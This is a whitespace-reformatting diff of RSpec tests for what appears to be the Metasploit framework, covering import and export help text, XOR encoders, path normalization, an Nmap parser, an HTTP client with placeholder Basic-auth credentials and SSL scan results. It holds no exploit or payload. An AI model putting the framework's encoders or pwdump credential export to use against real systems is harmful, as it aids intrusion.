it "should show a help message" do + db.cmd_db_import "-h" + @output.should =~ [ + "Usage: db_import <filename> [file2...]", + "Filenames can be globs like *.xml, or **/*.xml which will search recursively", + "Currently supported file types include:", + " Acunetix XML", + " Amap Log", + " Amap Log -m", + " Appscan XML", + " Burp Session XML", + " Foundstone XML", + " IP360 ASPL", + " IP360 XML v3", + " Microsoft Baseline Security Analyzer", + " Nessus NBE", + " Nessus XML (v1 and v2)", + " NetSparker XML", + " NeXpose Simple XML", + " NeXpose XML Report", + " Nmap XML", + " OpenVAS Report", + " Qualys Asset XML", + " Qualys Scan XML", + " Retina XML" + ] + end + end + end - describe "#cmd_db_export" do - describe "-h" do - it "should show a help message" do - db.cmd_db_export "-h" - @output.should =~ [ - "Usage:", - " db_export -f <format> [-a] [filename]", - " Format can be one of: xml, pwdump" - ] - end - end - end + describe "#cmd_db_export" do + describe "-h" do + it "should show a help message" do + db.cmd_db_export "-h" + @output.should =~ [ + "Usage:", + " db_export -f <format> [-a] [filename]", + " Format can be one of: xml, pwdump" + ] + end + end + end - describe "#db_nmap" do - it "should have some specs describing its output" - end + describe "#db_nmap" do + it "should have some specs describing its output" + end - describe "#db_rebuild_cache" do - it "should have some specs describing its output" - end + describe "#db_rebuild_cache" do + it "should have some specs describing its output" + end end diff --git a/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb b/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb index a430c0c7c8..827254a914 100644 --- a/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb @@ -4,29 +4,29 @@ require 'msf/ui' require 'msf/ui/console/command_dispatcher/exploit' describe Msf::Ui::Console::CommandDispatcher::Exploit do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:exp) do - described_class.new(driver) - end + subject(:exp) do + described_class.new(driver) + end - describe "#cmd_exploit" do - end + describe "#cmd_exploit" do + end - describe "#cmd_rcheck" do - end + describe "#cmd_rcheck" do + end - describe "#cmd_rexploit" do - end + describe "#cmd_rexploit" do + end - describe "#cmd_reload" do - end + describe "#cmd_reload" do + end - describe "#cmd_run" do - end + describe "#cmd_run" do + end - describe "#cmd_rerun" do - end + describe "#cmd_rerun" do + end end diff --git a/spec/lib/rex/encoding/xor/byte_spec.rb b/spec/lib/rex/encoding/xor/byte_spec.rb index f9636fcf29..b52f71e98b 100644 --- a/spec/lib/rex/encoding/xor/byte_spec.rb +++ b/spec/lib/rex/encoding/xor/byte_spec.rb @@ -4,5 +4,5 @@ require 'rex/encoding/xor/byte' require 'spec_helper' describe Rex::Encoding::Xor::Byte do - it_behaves_like "an xor encoder", 1 + it_behaves_like "an xor encoder", 1 end diff --git a/spec/lib/rex/encoding/xor/dword_spec.rb b/spec/lib/rex/encoding/xor/dword_spec.rb index 01d37177a1..05253dd97e 100644 --- a/spec/lib/rex/encoding/xor/dword_spec.rb +++ b/spec/lib/rex/encoding/xor/dword_spec.rb @@ -4,5 +4,5 @@ require 'rex/encoding/xor/dword' require 'spec_helper' describe Rex::Encoding::Xor::Dword do - it_behaves_like "an xor encoder", 4 + it_behaves_like "an xor encoder", 4 end diff --git a/spec/lib/rex/encoding/xor/qword_spec.rb b/spec/lib/rex/encoding/xor/qword_spec.rb index 58b657b23f..a8ed89bf61 100644 --- a/spec/lib/rex/encoding/xor/qword_spec.rb +++ b/spec/lib/rex/encoding/xor/qword_spec.rb @@ -4,5 +4,5 @@ require 'rex/encoding/xor/qword' require 'spec_helper' describe Rex::Encoding::Xor::Qword do - it_behaves_like "an xor encoder", 8 + it_behaves_like "an xor encoder", 8 end diff --git a/spec/lib/rex/encoding/xor/word_spec.rb b/spec/lib/rex/encoding/xor/word_spec.rb index 5d5f3f9d5f..a14c45c837 100644 --- a/spec/lib/rex/encoding/xor/word_spec.rb +++ b/spec/lib/rex/encoding/xor/word_spec.rb @@ -4,5 +4,5 @@ require 'rex/encoding/xor/word' require 'spec_helper' describe Rex::Encoding::Xor::Word do - it_behaves_like "an xor encoder", 2 + it_behaves_like "an xor encoder", 2 end diff --git a/spec/lib/rex/file_utils_spec.rb b/spec/lib/rex/file_utils_spec.rb index a589896831..7eba3d2f0e 100644 --- a/spec/lib/rex/file_utils_spec.rb +++ b/spec/lib/rex/file_utils_spec.rb @@ -1,60 +1,60 @@ require 'rex/file' describe Rex::FileUtils do - context "Class methods" do + context "Class methods" do - context ".normalize_win_path" do - it "should convert an absolute path as an array into Windows format" do - described_class.normalize_win_path('C:\\', 'hello', 'world').should eq("C:\\hello\\world") - end + context ".normalize_win_path" do + it "should convert an absolute path as an array into Windows format" do + described_class.normalize_win_path('C:\\', 'hello', 'world').should eq("C:\\hello\\world") + end - it "should convert an absolute path as a string into Windows format" do - described_class.normalize_win_path('C:\\hello\\world').should eq("C:\\hello\\world") - end + it "should convert an absolute path as a string into Windows format" do + described_class.normalize_win_path('C:\\hello\\world').should eq("C:\\hello\\world") + end - it "should convert a relative path" do - described_class.normalize_win_path('/', 'test', 'me').should eq("\\test\\me") - described_class.normalize_win_path('\\temp').should eq("\\temp") - described_class.normalize_win_path('temp').should eq("temp") - end + it "should convert a relative path" do + described_class.normalize_win_path('/', 'test', 'me').should eq("\\test\\me") + described_class.normalize_win_path('\\temp').should eq("\\temp") + described_class.normalize_win_path('temp').should eq("temp") + end - it "should keep the trailing slash if exists" do - described_class.normalize_win_path('/', 'test', 'me\\').should eq("\\test\\me\\") - described_class.normalize_win_path('\\temp\\').should eq("\\temp\\") - end + it "should keep the trailing slash if exists" do + described_class.normalize_win_path('/', 'test', 'me\\').should eq("\\test\\me\\") + described_class.normalize_win_path('\\temp\\').should eq("\\temp\\") + end - it "should convert a path without reserved characters" do - described_class.normalize_win_path('C:\\', 'Windows:').should eq("C:\\Windows") - described_class.normalize_win_path('C:\\Windows???\\test').should eq("C:\\Windows\\test") - end + it "should convert a path without reserved characters" do + described_class.normalize_win_path('C:\\', 'Windows:').should eq("C:\\Windows") + described_class.normalize_win_path('C:\\Windows???\\test').should eq("C:\\Windows\\test") + end - it "should convert a path without double slashes" do - described_class.normalize_win_path('C:\\\\\\', 'Windows').should eq("C:\\Windows") - described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt').should eq("C:\\Hello World\\whatever.txt") - described_class.normalize_win_path('C:\\\\').should eq("C:\\") - described_class.normalize_win_path('\\test\\\\test\\\\').should eq("\\test\\test\\") - end - end + it "should convert a path without double slashes" do + described_class.normalize_win_path('C:\\\\\\', 'Windows').should eq("C:\\Windows") + described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt').should eq("C:\\Hello World\\whatever.txt") + described_class.normalize_win_path('C:\\\\').should eq("C:\\") + described_class.normalize_win_path('\\test\\\\test\\\\').should eq("\\test\\test\\") + end + end - context ".normalize_unix_path" do - it "should convert an absolute path as an array into Unix format" do - described_class.normalize_unix_path('/etc', '/passwd').should eq("/etc/passwd") - end + context ".normalize_unix_path" do + it "should convert an absolute path as an array into Unix format" do + described_class.normalize_unix_path('/etc', '/passwd').should eq("/etc/passwd") + end - it "should convert an absolute path as a string into Unix format" do - described_class.normalize_unix_path('/etc/passwd').should eq('/etc/passwd') - end + it "should convert an absolute path as a string into Unix format" do + described_class.normalize_unix_path('/etc/passwd').should eq('/etc/passwd') + end - it "should still give me a trailing slash if I have it" do - described_class.normalize_unix_path('/etc/folder/').should eq("/etc/folder/") - end + it "should still give me a trailing slash if I have it" do + described_class.normalize_unix_path('/etc/folder/').should eq("/etc/folder/") + end - it "should convert a path without double slashes" do - described_class.normalize_unix_path('//etc////passwd').should eq("/etc/passwd") - described_class.normalize_unix_path('/etc////', 'passwd').should eq('/etc/passwd') - end - end + it "should convert a path without double slashes" do + described_class.normalize_unix_path('//etc////passwd').should eq("/etc/passwd") + described_class.normalize_unix_path('/etc////', 'passwd').should eq('/etc/passwd') + end + end - end + end end diff --git a/spec/lib/rex/parser/nmap_xml_spec.rb b/spec/lib/rex/parser/nmap_xml_spec.rb index cef4dbf9a2..d9d1b0d3bb 100644 --- a/spec/lib/rex/parser/nmap_xml_spec.rb +++ b/spec/lib/rex/parser/nmap_xml_spec.rb @@ -24,29 +24,29 @@ xml = ' ' describe Rex::Parser::NmapXMLStreamParser do - parser = Rex::Parser::NmapXMLStreamParser.new - total_hosts = 0 - parser.on_found_host = Proc.new { |host| - total_hosts += 1 - it "should yield a host" do - host.should_not be_nil - end - it "should populate the host with proper keys" do - host.should have_key("status") - host.should have_key("ports") - host.should have_key("addrs") - host["ports"].should be_a(Array) - host["addrs"].should be_a(Hash) - end - it "should find the address" do - host["addrs"].keys.length.should == 1 - host["addrs"].should have_key("ipv4") - host["addrs"]["ipv4"].should == "192.168.0.1" - end - } - REXML::Document.parse_stream(StringIO.new(xml), parser) - it "should have found exactly one host" do - total_hosts.should == 1 - end + parser = Rex::Parser::NmapXMLStreamParser.new + total_hosts = 0 + parser.on_found_host = Proc.new { |host| + total_hosts += 1 + it "should yield a host" do + host.should_not be_nil + end + it "should populate the host with proper keys" do + host.should have_key("status") + host.should have_key("ports") + host.should have_key("addrs") + host["ports"].should be_a(Array) + host["addrs"].should be_a(Hash) + end + it "should find the address" do + host["addrs"].keys.length.should == 1 + host["addrs"].should have_key("ipv4") + host["addrs"]["ipv4"].should == "192.168.0.1" + end + } + REXML::Document.parse_stream(StringIO.new(xml), parser) + it "should have found exactly one host" do + total_hosts.should == 1 + end end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 800c5afc7d..5623c5bf6c 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -7,226 +7,226 @@ require 'rex/proto/http/client' # might be slow. I wonder how Travis-CI will react to this... describe Rex::Proto::Http::Client do - class << self + class << self - # Set a standard excuse that indicates that the method - # under test needs to be first examined to figure out - # what's sane and what's not. - def excuse_lazy(test_method=nil) - ret = "need to determine pass/fail criteria" - test_method ? ret << " for #{test_method.inspect}" : ret - end + # Set a standard excuse that indicates that the method + # under test needs to be first examined to figure out + # what's sane and what's not. + def excuse_lazy(test_method=nil) + ret = "need to determine pass/fail criteria" + test_method ? ret << " for #{test_method.inspect}" : ret + end - # Complain about not having a "real" connection (can be mocked) - def excuse_needs_connection - "need to actually set up an HTTP server to test" - end + # Complain about not having a "real" connection (can be mocked) + def excuse_needs_connection + "need to actually set up an HTTP server to test" + end - # Complain about not having a real auth server (can be mocked) - def excuse_needs_auth - "need to set up an HTTP authentication challenger" - end + # Complain about not having a real auth server (can be mocked) + def excuse_needs_auth + "need to set up an HTTP authentication challenger" + end - end + end - let(:ip) { "1.2.3.4" } - subject(:cli) do - Rex::Proto::Http::Client.new(ip) - end + let(:ip) { "1.2.3.4" } + subject(:cli) do + Rex::Proto::Http::Client.new(ip) + end - it "should respond to intialize" do - cli.should be - end + it "should respond to intialize" do + cli.should be + end - it "should have a set of default instance variables" do - cli.instance_variable_get(:@hostname).should == ip - cli.instance_variable_get(:@port).should == 80 - cli.instance_variable_get(:@context).should == {} - cli.instance_variable_get(:@ssl).should be_false - cli.instance_variable_get(:@proxies).should be_nil - cli.instance_variable_get(:@username).should be_empty - cli.instance_variable_get(:@password).should be_empty - cli.config.should be_a_kind_of Hash - end + it "should have a set of default instance variables" do + cli.instance_variable_get(:@hostname).should == ip + cli.instance_variable_get(:@port).should == 80 + cli.instance_variable_get(:@context).should == {} + cli.instance_variable_get(:@ssl).should be_false + cli.instance_variable_get(:@proxies).should be_nil + cli.instance_variable_get(:@username).should be_empty + cli.instance_variable_get(:@password).should be_empty + cli.config.should be_a_kind_of Hash + end - it "should produce a raw HTTP request" do - cli.request_raw.should be_a_kind_of Rex::Proto::Http::ClientRequest - end + it "should produce a raw HTTP request" do + cli.request_raw.should be_a_kind_of Rex::Proto::Http::ClientRequest + end - it "should produce a CGI HTTP request" do - req = cli.request_cgi - req.should be_a_kind_of Rex::Proto::Http::ClientRequest - end + it "should produce a CGI HTTP request" do + req = cli.request_cgi + req.should be_a_kind_of Rex::Proto::Http::ClientRequest + end - context "with authorization" do - subject(:cli) do - cli = Rex::Proto::Http::Client.new(ip) - cli.set_config({"authorization" => "Basic base64dstuffhere"}) - cli - end - let(:user) { "user" } - let(:pass) { "pass" } - let(:base64) { ["user:pass"].pack('m').chomp } + context "with authorization" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli.set_config({"authorization" => "Basic base64dstuffhere"}) + cli + end + let(:user) { "user" } + let(:pass) { "pass" } + let(:base64) { ["user:pass"].pack('m').chomp } - context "and an Authorization header" do - before do - cli.set_config({"headers" => { "Authorization" => "Basic #{base64}" } }) - end - it "should have one Authorization header" do - req = cli.request_cgi - match = req.to_s.match("Authorization: Basic") - match.should be - match.length.should == 1 - end - it "should prefer the value in the header" do - req = cli.request_cgi - match = req.to_s.match(/Authorization: Basic (.*)$/) - match.should be - match.captures.length.should == 1 - match.captures[0].chomp.should == base64 - end - end - end + context "and an Authorization header" do + before do + cli.set_config({"headers" => { "Authorization" => "Basic #{base64}" } }) + end + it "should have one Authorization header" do + req = cli.request_cgi + match = req.to_s.match("Authorization: Basic") + match.should be + match.length.should == 1 + end + it "should prefer the value in the header" do + req = cli.request_cgi + match = req.to_s.match(/Authorization: Basic (.*)$/) + match.should be + match.captures.length.should == 1 + match.captures[0].chomp.should == base64 + end + end + end - context "with credentials" do - subject(:cli) do - cli = Rex::Proto::Http::Client.new(ip) - cli - end - let(:first_response) { - "HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm=\"foo\"\r\n\r\n" - } - let(:authed_response) { - "HTTP/1.1 200 Ok\r\nContent-Length: 0\r\n\r\n" - } - let(:user) { "user" } - let(:pass) { "pass" } + context "with credentials" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli + end + let(:first_response) { + "HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm=\"foo\"\r\n\r\n" + } + let(:authed_response) { + "HTTP/1.1 200 Ok\r\nContent-Length: 0\r\n\r\n" + } + let(:user) { "user" } + let(:pass) { "pass" } - it "should not send creds on the first request in order to induce a 401" do - req = cli.request_cgi - req.to_s.should_not match("Authorization:") - end + it "should not send creds on the first request in order to induce a 401" do + req = cli.request_cgi + req.to_s.should_not match("Authorization:") + end - it "should send creds after receiving a 401" do - conn = double - conn.stub(:put) - conn.stub(:shutdown) - conn.stub(:close) + it "should send creds after receiving a 401" do + conn = double + conn.stub(:put) + conn.stub(:shutdown) + conn.stub(:close) - conn.should_receive(:get_once).and_return(first_response, authed_response) - conn.should_receive(:put) do |str_request| - str_request.should_not include("Authorization") - nil - end - conn.should_receive(:put) do |str_request| - str_request.should include("Authorization") - nil - end + conn.should_receive(:get_once).and_return(first_response, authed_response) + conn.should_receive(:put) do |str_request| + str_request.should_not include("Authorization") + nil + end + conn.should_receive(:put) do |str_request| + str_request.should include("Authorization") + nil + end - cli.should_receive(:_send_recv).twice.and_call_original + cli.should_receive(:_send_recv).twice.and_call_original - Rex::Socket::Tcp.stub(:create).and_return(conn) + Rex::Socket::Tcp.stub(:create).and_return(conn) - opts = { "username" => user, "password" => pass} - req = cli.request_cgi(opts) - cli.send_recv(req) + opts = { "username" => user, "password" => pass} + req = cli.request_cgi(opts) + cli.send_recv(req) - # Make sure it didn't modify the argument - opts.should == { "username" => user, "password" => pass} - end + # Make sure it didn't modify the argument + opts.should == { "username" => user, "password" => pass} + end - end + end - it "should attempt to connect to a server" do - this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) - expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused - end + it "should attempt to connect to a server" do + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused + end - it "should be able to close a connection" do - cli.close.should be_nil - end + it "should be able to close a connection" do + cli.close.should be_nil + end - it "should send a request and receive a response", :pending => excuse_needs_connection do + it "should send a request and receive a response", :pending => excuse_needs_connection do - end + end - it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do + it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do - end + end - it "should send a request", :pending => excuse_needs_connection do + it "should send a request", :pending => excuse_needs_connection do - end + end - it "should test for credentials" do - pending "Should actually respond to :has_creds" do - cli.should_not have_creds - this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) - this_cli.should have_creds - end - end + it "should test for credentials" do + pending "Should actually respond to :has_creds" do + cli.should_not have_creds + this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) + this_cli.should have_creds + end + end - it "should send authentication", :pending => excuse_needs_connection + it "should send authentication", :pending => excuse_needs_connection - it "should produce a basic authentication header" do - u = "user1" - p = "pass1" - b64 = ["#{u}:#{p}"].pack("m*").strip - cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" - end + it "should produce a basic authentication header" do + u = "user1" + p = "pass1" + b64 = ["#{u}:#{p}"].pack("m*").strip + cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" + end - it "should perform digest authentication", :pending => excuse_needs_auth do + it "should perform digest authentication", :pending => excuse_needs_auth do - end + end - it "should perform negotiate authentication", :pending => excuse_needs_auth do + it "should perform negotiate authentication", :pending => excuse_needs_auth do - end + end - it "should get a response", :pending => excuse_needs_connection do + it "should get a response", :pending => excuse_needs_connection do - end + end - it "should end a connection with a stop" do - cli.stop.should be_nil - end + it "should end a connection with a stop" do + cli.stop.should be_nil + end - it "should test if a connection is valid" do - cli.conn?.should be_false - end + it "should test if a connection is valid" do + cli.conn?.should be_false + end - it "should tell if pipelining is enabled" do - cli.should_not be_pipelining - this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) - this_cli.pipeline = true - this_cli.should be_pipelining - end + it "should tell if pipelining is enabled" do + cli.should_not be_pipelining + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + this_cli.pipeline = true + this_cli.should be_pipelining + end - it "should respond to its various accessors" do - cli.should respond_to :config - cli.should respond_to :config_types - cli.should respond_to :pipeline - cli.should respond_to :local_host - cli.should respond_to :local_port - cli.should respond_to :conn - cli.should respond_to :context - cli.should respond_to :proxies - cli.should respond_to :username - cli.should respond_to :password - cli.should respond_to :junk_pipeline - # These are supposed to be protected - cli.should respond_to :ssl - cli.should respond_to :ssl_version - cli.should respond_to :hostname - cli.should respond_to :port - end + it "should respond to its various accessors" do + cli.should respond_to :config + cli.should respond_to :config_types + cli.should respond_to :pipeline + cli.should respond_to :local_host + cli.should respond_to :local_port + cli.should respond_to :conn + cli.should respond_to :context + cli.should respond_to :proxies + cli.should respond_to :username + cli.should respond_to :password + cli.should respond_to :junk_pipeline + # These are supposed to be protected + cli.should respond_to :ssl + cli.should respond_to :ssl_version + cli.should respond_to :hostname + cli.should respond_to :port + end - # Not super sure why these are protected... - it "should refuse access to its protected accessors" do - expect {cli.ssl}.to raise_error NoMethodError - expect {cli.ssl_version}.to raise_error NoMethodError - expect {cli.hostname}.to raise_error NoMethodError - expect {cli.port}.to raise_error NoMethodError - end + # Not super sure why these are protected... + it "should refuse access to its protected accessors" do + expect {cli.ssl}.to raise_error NoMethodError + expect {cli.ssl_version}.to raise_error NoMethodError + expect {cli.hostname}.to raise_error NoMethodError + expect {cli.port}.to raise_error NoMethodError + end end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index d75a03f5fd..4a793425bb 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -2,140 +2,140 @@ require 'spec_helper' require 'rex/random_identifier_generator' describe Rex::RandomIdentifierGenerator do - let(:options) do - { :min_length => 10, :max_length => 20 } - end + let(:options) do + { :min_length => 10, :max_length => 20 } + end - subject(:rig) { described_class.new(options) } + subject(:rig) { described_class.new(options) } - it { should respond_to(:generate) } - it { should respond_to(:[]) } - it { should respond_to(:get) } - it { should respond_to(:store) } - it { should respond_to(:to_h) } + it { should respond_to(:generate) } + it { should respond_to(:[]) } + it { should respond_to(:get) } + it { should respond_to(:store) } + it { should respond_to(:to_h) } - describe "#generate" do - it "should respect :min_length" do - 1000.times do - rig.generate.length.should >= options[:min_length] - end - end + describe "#generate" do + it "should respect :min_length" do + 1000.times do + rig.generate.length.should >= options[:min_length] + end + end - it "should respect :max_length" do - 1000.times do - rig.generate.length.should <= options[:max_length] - end - end + it "should respect :max_length" do + 1000.times do + rig.generate.length.should <= options[:max_length] + end + end - it "should allow mangling in a block" do - ident = rig.generate { |identifier| identifier.upcase } - ident.should match(/\A[A-Z0-9_]*\Z/) + it "should allow mangling in a block" do + ident = rig.generate { |identifier| identifier.upcase } + ident.should match(/\A[A-Z0-9_]*\Z/) - ident = subject.generate { |identifier| identifier.downcase } - ident.should match(/\A[a-z0-9_]*\Z/) + ident = subject.generate { |identifier| identifier.downcase } + ident.should match(/\A[a-z0-9_]*\Z/) - ident = subject.generate { |identifier| identifier.gsub("A","B") } - ident.should_not include("A") - end - end + ident = subject.generate { |identifier| identifier.gsub("A","B") } + ident.should_not include("A") + end + end - describe "#get" do - let(:options) do - { :min_length=>3, :max_length=>3 } - end - it "should return the same thing for subsequent calls" do - rig.get(:rspec).should == rig.get(:rspec) - end - it "should not return the same for different names" do - # Statistically... - count = 1000 - a = Set.new - count.times do |n| - a.add rig.get(n) - end - a.size.should == count - end + describe "#get" do + let(:options) do + { :min_length=>3, :max_length=>3 } + end + it "should return the same thing for subsequent calls" do + rig.get(:rspec).should == rig.get(:rspec) + end + it "should not return the same for different names" do + # Statistically... + count = 1000 + a = Set.new + count.times do |n| + a.add rig.get(n) + end + a.size.should == count + end - context "with an exhausted set" do - let(:options) do - { :char_set => "abcd", :min_length=>2, :max_length=>2 } - end - let(:max_permutations) do - # 26 because first char is hardcoded to be lowercase alpha - 26 * (options[:char_set].length ** options[:min_length]) - end + context "with an exhausted set" do + let(:options) do + { :char_set => "abcd", :min_length=>2, :max_length=>2 } + end + let(:max_permutations) do + # 26 because first char is hardcoded to be lowercase alpha + 26 * (options[:char_set].length ** options[:min_length]) + end - it "doesn't infinite loop" do - Timeout.timeout(1) do - expect { - (max_permutations + 1).times { |i| rig.get(i) } - }.to raise_error(Rex::RandomIdentifierGenerator::ExhaustedSpaceError) - # don't rescue TimeoutError here because we want that to be a - # failure case - end - end + it "doesn't infinite loop" do + Timeout.timeout(1) do + expect { + (max_permutations + 1).times { |i| rig.get(i) } + }.to raise_error(Rex::RandomIdentifierGenerator::ExhaustedSpaceError) + # don't rescue TimeoutError here because we want that to be a + # failure case + end + end - end + end - end + end - describe "#store" do - let(:options) do - { :char_set => "abcd", :min_length=>8, :max_length=>20 } - end + describe "#store" do + let(:options) do + { :char_set => "abcd", :min_length=>8, :max_length=>20 } + end - it "should allow smaller than minimum length" do - value = "a"*(options[:min_length]-1) - rig.store(:spec, value) - rig.get(:spec).should == value - end + it "should allow smaller than minimum length" do + value = "a"*(options[:min_length]-1) + rig.store(:spec, value) + rig.get(:spec).should == value + end - it "should allow bigger than maximum length" do - value = "a"*(options[:max_length]+1) - rig.store(:spec, value) - rig.get(:spec).should == value - end + it "should allow bigger than maximum length" do + value = "a"*(options[:max_length]+1) + rig.store(:spec, value) + rig.get(:spec).should == value + end - it "should raise if value is not unique" do - value = "a"*(options[:max_length]+1) - rig.store(:spec0, value) - rig.get(:spec0).should == value - expect { rig.store(:spec1, value) }.to raise_error - end + it "should raise if value is not unique" do + value = "a"*(options[:max_length]+1) + rig.store(:spec0, value) + rig.get(:spec0).should == value + expect { rig.store(:spec1, value) }.to raise_error + end - it "should overwrite a previously stored value" do - orig_value = "a"*(options[:max_length]) - rig.store(:spec, orig_value) - rig.get(:spec).should == orig_value + it "should overwrite a previously stored value" do + orig_value = "a"*(options[:max_length]) + rig.store(:spec, orig_value) + rig.get(:spec).should == orig_value - new_value = "b"*(options[:max_length]) - rig.store(:spec, new_value) - rig.get(:spec).should == new_value - end + new_value = "b"*(options[:max_length]) + rig.store(:spec, new_value) + rig.get(:spec).should == new_value + end - it "should overwrite a previously generated value" do - rig.get(:spec) + it "should overwrite a previously generated value" do + rig.get(:spec) - new_value = "a"*(options[:max_length]) - rig.store(:spec, new_value) - rig.get(:spec).should == new_value - end + new_value = "a"*(options[:max_length]) + rig.store(:spec, new_value) + rig.get(:spec).should == new_value + end - end + end - describe "#to_h" do - it "should return a Hash" do - rig.to_h.should be_kind_of(Hash) - end - it "should return expected key-value pairs" do - expected_keys = [:var_foo, :var_bar] - expected_keys.shuffle.each do |key| - rig.init_var(key) - end - rig.to_h.size.should eq(expected_keys.size) - rig.to_h.keys.should include(*expected_keys) - rig.to_h.values.map {|v| v.class}.uniq.should eq([String]) - end - end + describe "#to_h" do + it "should return a Hash" do + rig.to_h.should be_kind_of(Hash) + end + it "should return expected key-value pairs" do + expected_keys = [:var_foo, :var_bar] + expected_keys.shuffle.each do |key| + rig.init_var(key) + end + rig.to_h.size.should eq(expected_keys.size) + rig.to_h.keys.should include(*expected_keys) + rig.to_h.values.map {|v| v.class}.uniq.should eq([String]) + end + end end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 9e0363750b..e2d66d4ce4 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -3,7 +3,7 @@ require 'rex/sslscan/result' describe Rex::SSLScan::Result do - subject{Rex::SSLScan::Result.new} + subject{Rex::SSLScan::Result.new} it { should respond_to :accepted } it { should respond_to :cert } @@ -21,507 +21,507 @@ describe Rex::SSLScan::Result do it { should respond_to :tlsv1 } it { should respond_to :weak_ciphers } - context "with no values set" do - it "should return nil for the cert" do - subject.cert.should == nil - end - - it "should return an empty set for ciphers" do - subject.ciphers.should be_empty - end - - it "should return an empty array for accepted" do - subject.accepted.should == [] - end - - it "should return an empty array for rejected" do - subject.rejected.should == [] - end - - it "should return an empty array for #sslv2" do - subject.sslv2.should == [] - end - - it "should return an empty array for #sslv3" do - subject.sslv3.should == [] - end - - it "should return an empty array for #tlsv1" do - subject.tlsv1.should == [] - end - - it "should return an empty array for #weak_ciphers" do - subject.weak_ciphers.should == [] - end - - it "should return an empty array for #strong_ciphers" do - subject.strong_ciphers.should == [] - end - - it "should return false for #supports_ssl?" do - subject.supports_ssl?.should == false - end - - it "should return false for #supports_ssl?v2" do - subject.supports_sslv2?.should == false - end - - it "should return false for #supports_sslv3?" do - subject.supports_sslv3?.should == false - end - - it "should return false for #supports_tlsv1?" do - subject.supports_tlsv1?.should == false - end - - it "should return false for #supports_weak_ciphers?" do - subject.supports_weak_ciphers?.should == false - end - - it "should return true for #standards_compliant?" do - subject.standards_compliant?.should == true - end - end - - context "setting the cert" do - it "should accept nil" do - subject.cert = nil - subject.cert.should == nil - end - - it "should accept an X509 cert" do - cert = OpenSSL::X509::Certificate.new - subject.cert = cert - subject.cert.should == cert - end - - it "should raise an exception for anything else" do - expect{subject.cert = "foo"}.to raise_error - end - end - - context "adding a cipher result" do - context "should raise an exception if" do - it "given an invalid SSL version" do - expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error - end - - it "given SSL version as a string" do - expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error - end - - it "given an invalid SSL cipher" do - expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error - end - - it "given an unsupported cipher for the version" do - expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error - end - - it "given a non-number for key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error - end - - it "given a decimal key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error - end - - it "given an invalid status" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error - end - - it "given status as a string" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error - end - end - context "that was accepted" do - it "should add an SSLv2 cipher result to the SSLv2 Accepted array or generate an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.accepted(:SSLv2).should include({ - :version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - :weak=> false, - :status => :accepted}) - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - - it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.accepted(:TLSv1).should include({ - :version => :TLSv1, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should successfully add multiple entries in a row" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - subject.accepted(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should not add duplicate entries" do 